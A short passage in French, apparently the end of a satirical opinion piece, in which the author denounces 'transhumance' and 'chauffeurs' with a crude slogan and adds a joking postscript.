C’est pourquoi je dis haut et clair : « Halte à la transhumance et aux chiottes les chauffeurs !!! »

 

PS: j’espère que les chauffeurs de salle ne m’en voudront pas. Demain je m’attaquerai aux proxénètes !

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